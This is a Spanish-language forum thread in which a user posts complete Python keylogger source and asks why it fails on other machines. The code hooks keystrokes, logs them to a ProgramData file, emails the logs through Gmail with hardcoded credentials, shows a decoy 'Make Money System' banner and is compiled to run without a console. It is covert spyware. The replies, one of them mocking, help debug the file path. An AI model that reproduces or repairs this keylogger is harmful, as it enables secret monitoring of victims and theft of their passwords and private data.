Mi codigo funciona bien en mi pc pero en otras no

Iniciado por AnderPoker07, Septiembre 16, 2018, 02:12:36 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Código: python
# -*- coding: utf-8 -*-
import os, sys, logging
import pyHook, pythoncom
import time, datetime
import smtplib
import socket

#Creo el archivo
Fdir = 'C://ProgramData/task.txt'
if os.path.isfile(Fdir):
    os.remove(Fdir)
    print ('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')
else:
    f = open(Fdir,"w")
    f.close() 
    print('Make Money System - Spanish Version.')
    print ('Todos los derechos reservados!')

#Defino variables y creo la funcion que registra
Klg = ""
Cont = 0
Send = ""
nombre_equipo = socket.gethostname()
def send_email(message):

    try:
         
        # Datos
        fromaddr = '[email protected]'
        toaddrs = '[email protected]'
        username = '[email protected]'
        password = '123456.Dalila'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()
        print('Servicio Arrancado con exito, Ya se han enviado los logs!')
    except:
     
        print('Hubo algun error en la ejecucion')

send_email("Nuevo Dispotivo Conectado: ")
def PresionanAlgunaTecla(event):
    global Cont
    global Klg
    global Send
    if event.Ascii:
        key = chr(event.Ascii)
        Cont +=1
    Klg += key
    f1 = open(Fdir,"w")
    f1.write(Klg)
    f1.close()

    if Cont == 200:
        print('200')
        #leer log y enviar por correo
        typ = open(Fdir,"r")
        log = typ.read()
        typ.close()
        print (log)
        send_email(log)
        #Mato y comienzo de nuevo
        os.remove(Fdir)
        Cont = 0
        Klg = ""     


# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = PresionanAlgunaTecla
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


Perfecto, este es mi codigo, si lo compilo con PyInstaller y lo ejecuto en mi pc funciona de maravilla, pero cuando lo pruebo en otra pc pues no funciona.
Creo el ejecutable con --noconsole --onefile
es un script basico pero potente, y estoy en ese problema.
Aprovecho para preguntar, algun modulo  de python o alguna forma para capturar pantallas?

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En la linea 9 posiblemente es que en otras maquinas no exista ese archivo o la ruta donde se encuentre, pero no puedo estar seguro completamente hasta que vea una captura de pantalla.
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Buenas:

como te dice @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ese puede ser un error aparte que esa doble barra de la línea 9 deberías revisarla y probar a dejarla solo en una por si fuera el error.

Un saludo.

A que le llamas potente? A robar claves? PFffff xD
Bueno para no desvirtuar, deberías hacer caso a lo que te dicen más arriba porque a simple viste no esta creada la carpeta donde guardas lo que guarda el potente script, o bien creas la carpeta o identificas en donde esta el directorio temporal y guardas ahi lo que vayas a loggear.

LOL

Septiembre 22, 2018, 12:50:51 PM #4 Ultima modificación: Septiembre 22, 2018, 12:54:10 PM por brut3F0rC3
¿Potente? Si esa es tu definición de código potente.....

En todo caso, en la línea 9, se ve claramente el error, y es básico...

De hecho, en tu código existen 2 errores que impiden el funcionamiento del mismo,
repásatelo unas cuántas veces y, si te das cuenta, intenta solucionarlos, son básicos